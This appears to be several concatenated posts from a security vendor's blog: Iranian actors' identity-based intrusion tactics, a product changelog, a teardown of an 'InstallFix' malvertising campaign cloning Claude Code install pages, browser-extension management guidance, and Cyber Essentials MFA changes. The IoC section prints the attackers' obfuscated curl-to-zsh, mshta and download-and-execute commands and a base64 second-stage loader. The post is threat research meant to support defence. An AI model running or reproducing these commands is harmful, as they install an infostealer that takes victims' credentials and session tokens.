• APT42, assessed by Mandiant to operate on behalf of the IRGC-IO, has made credential harvesting and MFA bypass its core competency, operating almost entirely within cloud environments post-compromise and registering its own Microsoft Authenticator on compromised accounts for persistent access.

• APT35 (aka Imperial Kitten/Tortoiseshell) was observed targeting cloud identities in November 2025, deploying the Evilginx2 AitM toolkit against Microsoft 365 users in Israel.

• CrustyKrill (TA455/Smoke Sandstorm) uses fake Google Meet and Microsoft Teams pages with a live operator intercepting 2FA codes in real time, alongside Azure Web Apps for C2.

A joint advisory from six nations (FBI, CISA, NSA, CSE, AFP, ASD, advisory AA24-290A, October 2024) confirmed the pattern at the government level, documenting Iranian actors using brute force, password spraying, and MFA push bombing to compromise critical infrastructure accounts since October 2023, and assessing that the actors sell this access on cybercriminal forums.

MOIS groups are changing their approach too

On the MOIS side, the documented TTP baseline has historically centred on custom malware, network-level persistence, and exploitation of on-premises infrastructure. But identity compromise, particularly credential theft, has been a consistent thread across broader MOIS groups too:

• APT34 (OilRig) built its reputation on DNS tunnelling and custom backdoors, but its initial access methods include spearphishing and fake VPN portals for credential harvesting. Its 2024 campaigns introduced password filter DLLs registered at the domain controller level to intercept plaintext credentials during password change events, with the STEALHOOK backdoor exfiltrating stolen domain credentials via compromised Exchange servers. Cloud-based downloaders leveraging OneDrive and Microsoft Graph API were active against Israeli targets from 2022 to 2024.

• APT39 (Chafer) operated through the sanctioned front company Rana Intelligence Computing, focuses on surveillance and tracking of individuals, using credential harvesting through spoofed airline and telecom domains across 30+ countries.

• MuddyWater, confirmed by a joint CISA/FBI/NSA/NCSC advisory as a subordinate element of MOIS, functions as an initial access broker within the ecosystem. Its operations rely on spearphishing and abuse of legitimate RMM tools, but the group has developed dedicated credential stealers including CE-Notes (which bypasses Chrome's app-bound encryption), Blub (a multi-browser credential extractor), and LP-Notes (fake Windows Security dialogs to capture system credentials). A parallel campaign documented by Group-IB found the group deploying a custom Chromium credential stealer alongside its Phoenix backdoor.

• Lyceum (Hexane) overlaps operationally with APT34 and uses password spraying and brute-force attacks for initial access, and notably probed Albanian government infrastructure ahead of Handala destructive attacks in 2022, illustrating the collaborative model across MOIS groups.

Check Point has also documented a broader pattern of MOIS actors engaging directly with the criminal ecosystem, including Handala's adoption of the Rhadamanthys commercial infostealer and Iranian-affiliated operators working through the Qilin ransomware-as-a-service infrastructure.

So, the Stryker attack path is operationally consistent with the direction the Iranian threat ecosystem has been moving, even though it departs from Handala's own documented TTPs. Many of Handala's previous methods — targeting managed service providers and IT vendors, malware spearphishing, VPN credential stuffing — can also be repurposed in identity-focused social engineering attacks, particularly when boosted with widely available tools already powering criminal campaigns.

The problem with over-indexing on TTPs

Threat intelligence has real value. Attributing campaigns to named groups, mapping their techniques to MITRE ATT&CK, and generating detection rules gives defenders a meaningful starting point. The problem is treating a specific actor's historical TTP catalogue as the primary basis for detection logic, rather than combining it with the broader trends in attacker behaviour visible across the entire landscape.

Operators are creative and pragmatic. If the path of least resistance is a compromised admin credential and a legitimate MDM feature, no serious attacker is going to deploy custom wiper malware instead because that's what they used last time.

If your threat model says you're a plausible target for an Iranian threat group, and the trend data tells you that identity compromise is the most common initial access method across all actors, the rational response is to evaluate your controls aligned to identity-based initial access, not just deploy signatures for BiBi Wiper. When the specific actor profile crowds out the general trend data, you end up building defences against the last attack and leaving yourself exposed to the shift that every actor is going through.

Evaluating the security guidance

In the wake of the breach, industry guidance has settled around enforcing phishing-resistant MFA on privileged accounts, implementing just-in-time privilege activation via PIM, enabling Multi Admin Approval for high-risk Intune operations, configuring anomaly alerting on bulk device actions, and segregating administrative identities from everyday user accounts. This is all sound advice, but these recommendations are designed to limit what an attacker can do after an account has already been compromised — introducing friction, but not blocking them entirely.

The detection challenges compound this. Entra ID sign-in logs and Intune audit logs exist in separate systems with separate correlation IDs. Tracing a sign-in to a subsequent device action requires deliberate log integration that many organizations haven't implemented. The logs do record "wipe ManagedDevice" events, but may not be linked to real-time alerting. And the underlying action, Intune's Remote Wipe, is a legitimate feature used routinely in enterprise IT. Again, the attack could have succeeded even with these in place.

In a world where a compromised account can be rapidly exploited, it's vital to focus on improving detection and prevention as early as possible in the kill chain — combating initial access techniques themselves.

Closing thoughts

The Stryker attack reflects what attackers everywhere — from financially motivated criminal groups to more destructive nation-state operators — are already doing. Identity-based initial access, abuse of legitimate tools and services, and living-off-the-land execution are the current standard operating procedure.

Even with a perfectly hardened environment, most public breaches today involve attackers hijacking SSO mechanisms to move into connected applications, exfiltrating data for resale or extortion, and in some cases leveraging cloud services and admin platforms to deploy ransomware (the Scattered Spider playbook of dropping ransomware via VMware management portal being a well-documented example).

The majority of attackers will have no interest in destructively wiping an Intune environment — that's difficult to monetize. But the techniques that enabled the Stryker wipe are the same as those that enable financially motivated breaches at scale, pointing to a challenge that extends well beyond Iran-nexus threat actors and MDM hardening.

About Push Security

Push Security's browser-based security platform provides comprehensive detection and response capabilities against the leading cause of breaches. Push blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.

To learn more about Push, check out our latest product overview, view our demo library, or book some time with one of our team for a live demo.

• Detect malicious browser extensions

• Create a blocklist or allowlist for browser extensions

• Block ClickFix-style attacks and collect payloads for investigation

• Custom branding for employee-facing banners and block pages

• Collect additional metadata to support threat detection

• And a few other things …

Detect malicious extensions

Push can now detect and block malicious browser extensions found in your environment.

Push maintains a global list of malicious extensions based on our own threat research and publicly available threat intelligence. When an extension in your environment matches a malicious extension ID, Push will raise a detection on the Detections page of the Push admin console. You can also configure the control to warn or block users automatically.

To enable malicious extension detection, go to the Controls page in the Push admin console.

Learn more

Create a blocklist or allowlist for browser extensions

You can also block unwanted extensions or allowlist only the extensions you want in your environment, using Push’s Browser extension blocking control.

End-users will see a block page if they attempt to enable a blocked extension or install one via the Chrome or Microsoft extension stores.

Learn more

Block ClickFix-style attacks and collect payloads for investigation

You can now block ClickFix-style malicious copy and paste attacks using Push. These are one of the fastest-growing browser-based attacks. You can also choose to collect the payload for your security team to investigate.

From the Push admin console, go to Controls > Malicious copy and paste detection. Then create a configuration rule to select the Mode and Scope. If you’ve enabled payload collection, Push will collect the malicious payload and include it in the detection event.

Learn more

Custom branding for employee-facing banners and block pages

Customize the look and feel of employee-facing banners and warn or block pages by adding your company logo, accent color, and choice of light or dark mode themes.

To add your brand elements, go to Settings > Branding.

Learn more

Collect additional metadata to support threat detection

The Push browser extension can now collect additional metadata and store it locally for up to 30 days, powering more diverse and precise detections, including for emerging threats.

Detections informed by this metadata will be raised on the Detections page. Note that these detections do not block end-user activity and are Monitor mode only.

We recommend you enable Browser event storage to take advantage of this capability. Go to Settings > Telemetry > Browser event storage in the admin console.

Learn more

And a few other things ...

Other new features or improvements to the platform include:

• You can now configure the frequency with which app banners will be displayed: either per-tab or per-browser. Learn more

• You can now define an Owner role as part of Push’s RBAC options. Only Owners can edit roles, delete your team (e.g. tenant), change default SAML roles, or update your team name.

• Webhook events now include detection details, for greater context. Learn more

• Push now uses static IP addresses to emit webhook events. These IP addresses are in the same range we previously used, but if you wish to update your network filtering to these new, narrower IP addresses, you can. Learn more

There was a time, not that long ago, when pasting a command from a website straight into your terminal was something you’d only try once before some grizzled senior engineer beat it out of you. That’s because you’re effectively handing a website a blank cheque to execute whatever it wants on your system.

But somehow, it’s now the default. Homebrew, Rust, nvm, Bun, oh-my-zsh and hundreds of the most widely used developer tools on the planet now ship with the same instructions. Copy a “curl to bash” ( curl https://some.website | bash) one-liner from a website, paste it into your terminal, and hit enter. The entire security model boils down to "trust the domain." And with AI adoption encouraging more non-technical users to work with the kind of tools that only devs used to use, this suddenly becomes a threat to a much larger, less security conscious pool of users.

It’s not hard to see how attackers can exploit this. 

We're tracking a technique we're calling InstallFix: a clever social engineering attack where threat actors clone the installation pages of legitimate CLI tools and present victims with malicious install commands disguised as the real thing. In each case, the mechanic is the same: the victim sees what looks like a familiar install command, copies it, pastes it, and runs it. Except the command they run is not the one they expected.

Feeling *Fix fatigue? Us too. But we felt the naming appropriate to indicate that this is part of the same family of techniques. ClickFix has become synonymous with Malicious Copy and Paste, even though most lures haven’t been related to “fixing” anything for a while now. The user action is essentially the same, just the context of the lure is different. 

But while traditional ClickFix attacks need to manufacture a reason for the user to run a command: a fake CAPTCHA, a fabricated error message, a bogus system prompt — InstallFix doesn't need any of that. The pretext is simply the user wanting to install legit software.

InstallFix Claude Code campaign teardown

All you need to make this attack work is a popular tool you can impersonate. Naturally, this makes trendy AI tools a popular choice. Then, you just need to boost your lure to deliver it to unsuspecting victims via search engine. The most common way of doing this is through sponsored results — aka malvertising. 

In the recent examples identified by Push researchers, attackers have simply cloned the installation webpages for tools and updated the installation instructions with malicious commands. 

A new campaign targeting Claude Code

We've recently observed a campaign that puts this technique into practice against one of the fastest-growing developer tools on the market: Anthropic's Claude Code.

Claude Code is a command-line AI coding assistant that has rapidly become the go-to for both experienced developers and amateur vibe-coders. Like many modern CLI tools, the recommended installation method is a one-liner that pipes a remote script into a shell. 

The attacker's approach is straightforward. They clone the Claude Code installation page (layout, branding, documentation sidebar, and all), hosting it on a lookalike domain. The page is a near-pixel-perfect replica of the real thing. The only meaningful difference is in the installation commands themselves: instead of fetching the install script from claude.ai, the commands point to an attacker-controlled server that serves malware instead. 

Unless you’re carefully reading the URL embedded in the install one-liner (and let's be honest, almost nobody does these days), the page is indistinguishable from the real one.

You can see a video of a user being served a malicious InstallFix page below.

Any further interaction on the page simply redirects you to the legitimate site, too. So a victim that lands on the page and follows the fake instructions could continue normally without realizing anything had gone wrong. 

Distribution via Google Ads

The fake install pages are distributed exclusively through Google Ads, specifically through sponsored search results that appear when users search for terms like "Claude Code", "Claude Code install", or "Claude Code CLI."

Malvertising is an extremely prevalent distribution method we've seen used extensively to distribute both phishing payloads and ClickFix-style lures (including the ConsentFix campaign we uncovered last year). In fact, 4 in 5 ClickFix lures we intercept are accessed from search engines.

Malvertising via Google Search is an effective delivery vector because it bypasses email-based security controls entirely. There's no phishing email to flag, no suspicious link in a message. The user initiates the interaction themselves by searching for something they genuinely intend to install. This is one of the reasons that attackers are doubling down on targeting ad manager accounts to be able to hijack existing ad budgets and spin up even more malicious ads.

The reality is that users are going to encounter malicious links through stealthy channels like malvertising every day, just through normal internet browsing, without being actively targeted. That said, ads can be targeted too: Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). So if you've got sufficient intel on your target, you can tailor the ad accordingly. 

Since the sponsored result appears above the organic results for the legitimate Claude Code documentation and the displayed URL in the ad appears plausible, victims are more likely to quickly click and access the domain without checking it out fully. Search engines typically suppress subdomains from displayed URLs too, giving the attacker additional cover for the lookalike domain.

The payload

The malware initiates execution through cmd.exe (PID 8444), which spawns mshta.exe (PID 8700) to retrieve and execute content from a remote URL. The command structure indicates staged execution:

• cmd.exe executes a command-line instruction to launch mshta.exe with a URL parameter pointing to https://claude[.]update-version[.]com/claude

• mshta.exe (child process) is invoked to fetch and execute HTML/script content from the malicious domain

• conhost.exe (PID 8496) is spawned as a console host, likely to support command execution output

The MacOS payload also uses additional encoding and staged execution layers.

You can see the full list of IoCs at the end of the blog.   

Our analysis shows us that the payload matches the Yara signatures for the Amatera Stealer malware, retrieved from the command-and-control domain claude[.]update-version[.]com.

Amatera is a relatively new infostealer used by cybercriminals to steal sensitive data, such as browser saved passwords, cookies, session tokens, and general system information. It started appearing publicly around 2025 and is considered an evolution of an older malware family called ACR Stealer, and is sold via subscription to criminal operators.

The malware uses various techniques designed to bypass AV/EDR, including direct NTSockets for C2, dynamic API resolution with WoW64 Syscalls, and multi-stage infection chains with dynamic payload delivery. Amatera communicates with its C2 server using hardcoded IP addresses belonging to legitimate CDNs, making the traffic difficult to block without disrupting legitimate services.

Notably, we saw different sites executing identical binaries, further indicating that these are part of a single attacker campaign.

Edit: When investigating different domains, we found additional research that indicates a variety of similar payloads being distributed. Our primary focus here is on the scale of the campaign and the lure delivery technique rather than deep analysis of the malware itself. Check out this detailed analysis for one such teardown, and this Reddit thread for another example.

Abusing legitimate hosting services

Another common theme we see across pretty much every phishing site these days is the abuse of legitimate domains for hosting malicious content. This allows attackers to blend in with normal web traffic and is a core detection evasion technique. 

In this case, we observed Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne being used. 

A broader trend

This isn't happening in isolation. Claude and its associated tools have become a recurring target for recent malware distribution campaigns:

• Fake Claude artifacts used in traditional ClickFix lures: Attackers created public pages on the claude.ai domain itself (user-generated content that inherited the domain's trust) containing malicious terminal commands disguised as macOS utilities. These were promoted via hijacked Google Ads and viewed over 15,000 times before being taken down.

• Fake Homebrew installation pages: Near-identical clones of the Homebrew website delivering the Cuckoo infostealer to macOS users, using the same "copy this install command" mechanic.

• Fake OpenClaw installers on GitHub: Malicious repositories impersonating the popular AI agent tool, boosted by Bing's AI search results, delivering infostealers and the GhostSocks proxy malware.

• Trojanised npm packages: Malicious packages mimicking Claude Code's official npm package name, targeting developers who might make a typo or trust an unofficial source.

But this isn’t just a Claude problem — any tool or site that is likely to get clicks, and can be easily cloned, is a potential target for malvertising and impersonation. For example, we’ve also recently seen attackers target free web tools with clever ClickFix lures that only load after an attacker has interacted with the page — in the example below, uploading a file to remove an image background, or convert a document to PDF. These are clones of real sites that attackers have cloned because they allow them to intercept users entering common search terms. 

How Push detects InstallFix

Regardless of the delivery channel, whether it's a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user's browser, and that's where Push operates.

Push sees what the user sees: the page as it renders in the browser, in real time. This means we can detect InstallFix pages by identifying the combination of signals that characterise them: lookalike domains impersonating known developer tools, copy-to-clipboard elements containing shell commands, and the presence of malvertising delivery indicators.

Because Push detects threats directly in the browser, it doesn't matter that the attack came from a Google Search ad rather than an email. There's no phishing email for a Secure Email Gateway to inspect — the user searched for and navigated to the page themselves. But the page still loads in the browser, where Push is there to catch it.

To learn more about how Push protects against InstallFix, ClickFix, and other browser-based attacks, check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

IoCs

As we always say, short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to quickly spin up and rotate the sites used in the attack chain. IoC-based detections for campaigns like this are of limited value.

This is a fast-moving situation, with domains constantly being spun up. At the time of writing, the domains observed were:

Cloned domains:

• claud-code[.]pages[.]dev

• claulastver[.]squarespace[.]com

• claudecode-developers[.]squarespace[.]com

• hgjbulk.pages[.]dev

• jhgyuifyfiguohi[.]pages[.]dev

• hgjbulk.pages[.]dev

• claude-code-install[.]squarespace[.]com

• claude-code-docs-site[.]pages[.]dev

• claulastver[.]squarespace[.]com

• cladueall[.]pages[.]dev

• claude-code-docs-dvlr2jpuuw[.]edgeone[.]app

• myclauda[.]it[.]com

• vdsafsaf[.]it[.]com

• asdasdasdadsvvvvv[.]pages[.]dev/

• nnnnnnnnnnnnnnnnnnnnn[.]pages[.]dev

• claude-code-macos[.]com

• claude-code-docs-site[.]pages[.]dev

• claude-code-update[.]squarespace[.]com

• claudecodeupdate[.]squarespace[.]com

• notebooklm-version-upd[.]squarespace[.]com

• notklmalans[.]pages[.]dev

Domains hosting malicious payload:

• contatoplus[.]com

• sarahmoftah[.]com

• claude[.]update-version[.]com

Commands:

curl -ksfLS $(echo 'aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi'|base64 -D)| zsh

curl -sfkSL $(echo 'aHR0cHM6Ly93cmljb25zdWx0LmNvbS9jdXJsLzhhZjY1YmEzODg1ZDZlMjU5NmVhMmNlMmRiNGEzYmM1ZWUwMmI4ZGViMzM2ZjlhZTkzZTI2MmM0ZGIwMGI3NTc='|base64 -D)| zsh

C:\Windows\SysWOW64\mshta.exe https://claude.update-version.com/claude 

Base64 decoded url:

contatoplus[.]com/curl/8d2d275360adedecfbbd91567daddeed80d20aceb8aa4320d06a21486493945b 

saramoftah[.]com/curl/958ca005af6a71be22cfcd5de82ebf5c8b809b7ee28999b6ed38bfe5d19420

Second stage:

#!/bin/zsh

mkgrc9=$(base64 -D <<'PAYLOAD_END' | gunzip

H4sIAKgRpGkC/13LPQqAMAxA4b2niAhdpGYVbxPbSoT+0UYonl5HdXwfvHHA7Uh4NVb2rAFMBpRYkH0ovgKLlLYiNqoU8y7Es80R05LwLI7Eg9bQSaSCsZ/zccsxO5j631+pbrYTnkSAAAAA

PAYLOAD_END

)

eval "$mkgrc9"

Binaries:

#!/bin/zsh

curl -o /tmp/helper https://saramoftah.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper

Most malicious extensions didn’t start that way. Attackers often begin with a legitimate extension — either by creating something that is initially benign, purchasing an extension that already exists and has a large number of installs, or by phishing an extension developer’s account to publish a malicious version. Then, they bide their time, waiting for the right moment to flip the switch and deploy a malicious update, compromising every browser that they’re deployed to. 

Imagine the scenario. There’s a small dev team responsible for a basic but widely used extension (let’s say a color picker tool) with millions of users. An attacker just needs to phish a dev (that might not even be working from a device with proper security software or controls), grab the extension code that is publicly available from the store, insert obfuscated malicious code, and upload the new version to the store. As soon as the extension updates, millions of browsers are compromised. 

This is why we take our own security processes around extension management so seriously. You can find out more about our process here.

Why tackling malicious extensions is a hard problem for security teams

The Chrome extension store alone has in excess of 100k extensions with a wide range of use cases. Pretty much every major app today has an extension counterpart, and there are countless smaller extensions — from AI overlays, to screen recording, spell checking, and color matching. AI-assisted development has further increased the rate at which new extensions are created and added to the marketplace (for both legit developers and malicious ones). 

For organizations just beginning to think about extension management, this isn’t an easy problem to get a handle on. If you’ve allowed your employees to freely install extensions without restriction, then there could be hundreds, if not thousands, of different extensions in use across your business. 

Malicious extensions are good at hiding bad code

Right now, extension stores are fighting a losing battle against attackers. 

• Malicious extensions are being regularly uploaded, bypassing code analysis checks, and even achieving “Featured” or “Verified” status in the app stores. This is because attackers are using dynamically compiled, stealthily smuggled code that can’t be reliably spotted through static code checks or sandbox analysis. 

• Bad isn't detected until an extension is observed doing malicious things in the wild. Most of the time, this is because there’s been a breach. 

• When an extension is reported as bad, it enters a lengthy review process. Unless there’s pressure to act quickly (e.g. there’s a large amount of reporting), it won’t get prioritized. 

• Just because an extension is removed from the store doesn’t mean that it’s automatically removed from browsers where it is installed. 

The bottom line: The security teams at Google and Microsoft analyse and manually approve every single extension upload and code change that enters their store, and even they aren’t detecting bad before malware executes in the victim’s browser. 

Today, there’s no single magic bullet tool or control that organizations can use — unless you simply want to disable browser extensions altogether, which might not be the best option for users and their productivity.

Fortunately, Push is in a good position to help, with its ability to inventory all your browser extensions and help you find and block malicious ones.

How to securely manage browser extensions (and how Push can help)

Here’s our step-by-step guide to securely using browser extensions in your organization.

• Step 0: Enable malicious browser extension detection to stop known-bad extensions from running in your environment. 

• Step 1: Establish an inventory of extensions currently in use across your users and their browsers. 

• Step 2: Risk-assess the extensions running in your environment using Push data.

• Step 3: Create an allowlist or blocklist to control the extensions active in your environment.

• Step 4: Monitor for risky changes.

Step 0: Enable malicious browser extension detection in the Push platform

First, we recommend you take action to ensure that extensions reported as suspicious or malicious are blocked from running in your environment. 

Even if you’re blocking employees from installing extensions without admin approval, an extension that was safe and approved yesterday can be malicious today. This is why it’s vital that organizations proactively block known-bad extensions — particularly when extension stores cannot be relied upon to disable extensions already installed in your employee browsers. Early intervention can mean the difference between a malicious update being deployed and browser secrets being stolen, and disabling the extension before any harm is done.

If you’re a Push customer, you can ensure that any extension that is reported as malicious is automatically blocked in your environment. This means that the extension gets disabled and cannot run in any browser with the Push extension installed. 

The Push Security research team maintains a global list of known-bad extensions based on threat intelligence reporting. This list is continuously updated and ensures that as soon as an extension is reported as malicious, it is blocked. 

You can enable the control via the Controls page in the Push admin console. Admins can configure rules in Off, Monitor, or Block mode. Block mode is recommended, meaning that extensions are disabled and web store access is blocked. You can read more about this in our Help Center.

When an extension is flagged as malicious, a detection event will be generated and appear on the Detections page in the Push admin console. The severity of these detections is classified as follows:

• Low for an extension that has never been enabled. The control prevented either the installation or the extension from being enabled.

• Medium for an extension that was installed and enabled, but has been disabled by the control. 

• High if the extension was enabled and is still active (i.e. the control was in monitor mode).

Step 1: Establish an inventory of existing extensions.

Next, we recommend you take stock of what’s already running in your environment so you can begin to make risk-based decisions about what you allow, and what you don’t. This means building an inventory of every extension running in every browser. 

Push provides real-time visibility of extensions installed in every browser across your workforce. 

Push tracks several key data points, including: 

• Extension name, ID, and version number

• Update & homepage URL

• Extension permissions

• Host permissions (where applicable)

• Deployment method (e.g. managed, manual, sideloaded or development)

• Which employees use the extension

• Which browsers have the extension installed

• Whether the extension is enabled or disabled

• Useful metadata like install count, ownership history, update history, and whether the extension has been unlisted from the web store.

This information is critical for assessing risk, as well as providing an early warning of future malicious intent. 

You can enable browser extension visibility in the Push platform by going to Settings > Organization > Browser extension visibility and toggling on the feature.

Step 2: Risk-assess the extensions running in your environment using Push data.

Now that you’ve built a real-time inventory, you can start to analyse the data to find risky extensions. 

Every extension that is running in your environment expands your potential attack surface, representing another node that can be compromised by an attacker. So it makes sense to only allow those that are absolutely necessary in order to sensibly control the risk. 

You can start to investigate and prune extensions based on the properties tracked in the Push platform. For example:

• Extensions with a low install count from an unverified publisher. 

• Extensions that have been sideloaded (installed by software on the machine) or are development (installed from a folder off-disk when Developer mode is turned on)

• Extensions that are used by a small number of employees for niche / non-critical functions. 

• Extensions with risky permissions.

Pretty much every extension has permissions that could be considered risky and exploited by an attacker, so permissions alone are not a great benchmark for whether it should be allowed or not. But extensive permissions plus an unverified publisher or a recent change in ownership might be enough to prioritize an extension for removal.

Step 3: Create an allowlist to control the extensions active in your environment.

Using the output of your risk assessment and the data provided by the Push platform, you can control the extensions that you allow your employees to use.

To do this, you need to allowlist the extensions you’re happy for employees to use (and block everything else). That way, you remove the ability for employees to add new extensions unless approved by an admin. This means you either:

• Add every extension you currently have running in your environment to an allowlist, block everything else, and then start to prune extensions from that list. 

• Create a shortened allowlist from the outset. 

Both are valid ways of solving the problem, with the first option being the least potentially disruptive (i.e. you’re not switching off a load of extensions in one go). That said, this might not be a viable solution depending on your company size. 

If you plan to restrict the extensions that your employees can install and run, you’ll need to create a workflow where employees can request new extensions and the number of extensions that would need to be reviewed. This is something that you should be able to create using your ITSM tooling in the same way that any other software is requested.

You can do this in lots of different ways depending on the OS and browsers used across your workforce. This can get messy depending on the complexity of your environment. But you can do it in a streamlined, browser-agnostic way using Push. 

Managing which extensions you’ve opted to allow is a continuous process that will change as user behavior changes and new extensions are added. It’s important that you regularly review whether your current allowlist is fit for purpose. 

Step 4: Monitor for risky changes.

Finally, once you’ve begun the process of pruning the extensions in your environment and you’ve reached a baseline you’re happy with, it’s now about reviewing and approving any new extension requests, and monitoring for risky changes. 

We recommend monitoring for things like:

• Regularly reviewing changes in extension ownership + recent updates

• Monitoring for updates to extensions to track risky permissions being added 

• Monitoring for new malicious browser extension detections

It’s super simple to use Push data to create alerts and feed your detection and response workflows. See how to connect Push to your SIEM/SOAR and learn more about the Push REST API and webhooks. 

At this point, you can then triage and investigate further to see whether additional action is required. 

And there you have it! You’ve secured browser extension use across your organization using Push. 

Don’t take our word for it …

Our friends at GitLab echo our thoughts on browser extensions and the value of tools like Push that help them to solve this problem.

Additional tips

Disable browser syncing

If you’re in the early stages of your extension management process, an extra step you might want to consider is disabling browser syncing for extensions. 

When we deploy Push, we find it’s not unusual for people to sign into their work browser with a personal email profile. There’s a significant risk here — if you end up saving and syncing credentials across devices, a compromise on a (usually less secure) personal device can lead to business accounts being compromised. Notably, this was exploited in a 2023 Okta security breach.

The same model applies to browser extensions. By default, any extension installed from the web store is synced across devices where a profile is logged in and syncing is enabled. 

As an example, you can see how to disable browser extension syncing if you manage Chrome in Google Workspace.

This only applies if you haven’t yet created an allowlist for extensions in your environment, in which case any extensions not on the list will be blocked. 

You can also use Push to surface which users are logged into their browser using a non-work profile and whether the profile is synced across devices. 

Learn more about Push

Push Security’s browser-based security platform stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking — modern attack techniques that are the leading cause of breaches today.

You don’t need to wait until it all goes wrong either. You can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.

Want to learn more about Push? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

Backed by the UK’s National Cyber Security Centre (NCSC), Cyber Essentials is a minimum requirement for operating in the UK and working with UK businesses. NCSC and IASME have issued an updated requirements document as well as guidance on the changes planned to go-live in April 2026. The key changes relate to the definition of cloud services and the expectations around MFA enforcement, which will significantly expand the breadth of cloud and SaaS services in scope, as well as how compliance is measured.

This means that:

• Any service accessed via a business email or account is considered in-scope. It doesn’t matter whether this is a “free” tier account on a SaaS service or a fully managed enterprise cloud platform. 

• If a service offers MFA, it must be enabled for all users. (Apps that don’t offer MFA are incredibly rare).

• If a service offers MFA only as a "paid add-on" or part of a higher subscription tier (e.g., "Enterprise" vs. "Basic"), you are now required to pay for and enable it. 

• If the service doesn't have native MFA but allows you to sign in via a provider that does (like "Sign in with Microsoft" or Google), you must use only that method.

• This means that if "shadow" apps and accounts are identified — e.g. they find that your team is using a SaaS tool that doesn't have MFA, and it wasn't listed in your submission — you will be non-compliant.

This has significant ramifications for the attestation process that requires comprehensive visibility of every app, login method, and MFA factor. 

Don’t worry, Push Security has the solution

Push provides you with visibility of every single cloud app your employees access and how they’re authenticating to them, giving you the controls needed to automatically enforce MFA and strong, unique passwords on all your corporate accounts. 

Push is able to do this by deploying into your employees’ existing browser, from where it observes the actual login process in real-time. This allows Push to capture 100% of cloud app usage, including free-tier apps and those accessed via personal email addresses or local credentials, which centralized SSO logs would miss.

Here’s a short interactive demo that shows you how Push helps you to prepare for Cyber Essentials by capturing all your cloud services and making sure MFA is enabled on all your user accounts.

This isn’t all Push does — we also detect and stop browser-native attacks like zero-day phishing, AitM toolkits, ClickFix attacks and account takeover — but more on that later. 

But all our apps are managed and accessed via SSO…

Most organizations work on the assumption that their employees are using SSO to access the suite of business apps they use on a daily basis. Apps go through an onboarding process where they are configured to use the preferred SSO method (e.g. SAML, OIDC) from the preferred identity provider (Okta, Microsoft, Google, etc.). By enforcing secure login requirements on how employees login to their IdP account, you essentially secure the downstream logins to all of the business apps in use. 

The reality is quite different. 

Apps are routinely self-adopted by users. Most enterprises are using hundreds of apps across their workforce, for a variety of business purposes. 

Apps typically allow multiple, simultaneous login methods to exist. Many apps don’t allow you to restrict this even with admin-level controls (or needing to pay extra for the privilege). A huge number of apps don't even allow you to configure SAML SSO without paying extra for the privilege (if they offer it at all).

This means you can have a local password active at the same time as a secure SSO login option — we call these ghost logins. The worst part is that you can have an SSO login protected by MFA, at the same time as a local password without. This is one of the key reasons why we see that 2 in 5 accounts are missing MFA. 

Under the new regulations, this would be an automatic fail if discovered. 

Even more complexity comes in how MFA can be enforced. Some SaaS services only allow MFA to be self-adopted rather than centrally enforced by admin controls. This can often be linked to the product tier, with a higher level subscription required for tenant-level security features. Similarly, some apps do not provide admin-level visibility of MFA configuration for individual accounts. How each vendor chooses to set up their app is very inconsistent.

Combining the lack of SSO support with the ease of self adoption and issue of concurrent login methods, we're in a world where passwords aren't going anywhere fast. And if you think your employees are using only one password at best (to log into their enterprise SSO) you're in for a big surprise.

The ripple effect

The nature of the changes to the scope means that areas you were previously comfortable attesting to become way more complex. 

• You have to enforce password policies and account lifecycle management on a long tail of SaaS, not just previously identified “core” apps. 

• This applies to external contractors too.

Will your assumptions stand up to scrutiny? 

Previously, the approach to an audit would have been to show that the IdP dashboard is configured to require mandatory MFA, and all business apps are accessed securely via the IdP interface.  

But this only shows part of the picture. Cyber Essentials auditors typically interview employees and ask them to demonstrate logging into a variety of apps to show the MFA status and overall login process (e.g. are they using a password manager, do passwords meet the requirements, etc.). If the auditor discovers an app you were unaware of, that is accessed without using MFA, you’ve failed. 

This isn’t just a compliance concern — it’s a real security threat

The reason that compliance is being forced to evolve is that this kind of security gap is being routinely exploited by attackers in the wild. Compromised credentials are available online in their billions, and that’s all an attacker needs to log into an account without MFA. 

The recent criminal campaigns against Snowflake and Jira customers demonstrate this risk. 

• The 2024 Snowflake breaches resulted in billions of records being stolen from 165+ Snowflake tenants. Attackers simply logged into accounts without MFA at scale — >80% of the credentials had been leaked online as early as 2020. 

• Criminals went on a Jira hacking spree, compromising 10 organizations publicly — including Jaguar Land Rover. The same attackers were then involved in the Scattered Lapsus$ Hunters ransomware operation that went down as the most economically consequential cyber breach to affect a G7 economy. 

You can read more about these Scattered Lapsus$ Hunters attacks and the bigger picture here.

The reality is that this has been happening for years. Regulation is always slow to catch up. It’s important that organizations understand why these changes are being made — to tackle the threat.

Achieving compliance (and more importantly, security) with Push

Here’s how you can use Push to comply with Cyber Essentials v3.3 onwards, as well as safeguard your business and users from threats.

• Discover apps and get them behind SSO: Push captures every login from the browser, regardless of whether it’s federated or shadow. It builds a full map of your organization’s true identity footprint, including all accounts, apps, authentication methods, and SSO gaps. This allows you to spot apps that have been self adopted and take action. 

• Review MFA status and enforce MFA: You can see the MFA status of every app, both at the IdP and local app level, as well as the type of MFA method used to assess security strength. This allows you to find and eliminate “ghost logins” not protected by MFA — by configuring MFA at the app level, or removing the local credential. You can also prompt employees to register an MFA method in real time as they access an app in their browser.

